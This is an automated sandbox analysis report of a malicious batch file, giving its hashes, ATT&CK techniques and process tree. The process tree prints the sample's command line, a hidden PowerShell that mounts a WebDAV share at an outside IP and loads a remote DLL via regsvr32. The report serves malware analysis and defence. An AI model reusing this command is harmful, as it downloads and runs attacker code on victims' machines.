87a54dc1b482b5a3f168224786abc8c76a42c05e58f4ab3825e1a020852b0ade

Analysis

max time kernel
150s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
19/07/2024, 03:25

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General

Target

462bab7323a73643e7e932dda4e3304cc222aa1dcb8bfa9b8a9902cd54226c56.bat
Size

5KB
MD5

adddd4eb0b435b315bf4fe4eb51a10bc
SHA1

b4176175f7fce2912ad148d32d6a2319cc318ed6
SHA256

462bab7323a73643e7e932dda4e3304cc222aa1dcb8bfa9b8a9902cd54226c56
SHA512

cabe52a6fef9c7b03b880357c90912b3c8f46d699cefa83ddeddb985db92ad2596582ba63f8411659faaf688fc1c2e3b9e2d35c2ba890b4552b2dbb8b38cf07a
SSDEEP

96:hizFqBWVs2T7dx3W0ANEz1b2iSXae160sUIKRrzzMZERrzzMy+1IQehPBiq8DEyX:IzFz+2T7W/I1/Eae160sU99zzyE9zzOz

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
380	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3419463127-3903270268-2580331543-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
380	powershell.exe
380	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	380	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2324	wordpad.exe
2324	wordpad.exe
2324	wordpad.exe
2324	wordpad.exe
2324	wordpad.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3308 wrote to memory of 2324	3308	cmd.exe	85
PID 3308 wrote to memory of 2324	3308	cmd.exe	85
PID 3308 wrote to memory of 380	3308	cmd.exe	87
PID 3308 wrote to memory of 380	3308	cmd.exe	87
PID 380 wrote to memory of 932	380	powershell.exe	89
PID 380 wrote to memory of 932	380	powershell.exe	89
PID 380 wrote to memory of 3088	380	powershell.exe	90
PID 380 wrote to memory of 3088	380	powershell.exe	90

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\462bab7323a73643e7e932dda4e3304cc222aa1dcb8bfa9b8a9902cd54226c56.bat"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3308
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:2324
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\297991671131869.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:380
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:932
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\297991671131869.dll
    3⤵
    PID:3088

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
1⤵
PID:2820

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wchxq0r4.g5e.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/380-2-0x00000263F4AD0000-0x00000263F4AF2000-memory.dmp

Filesize
136KB

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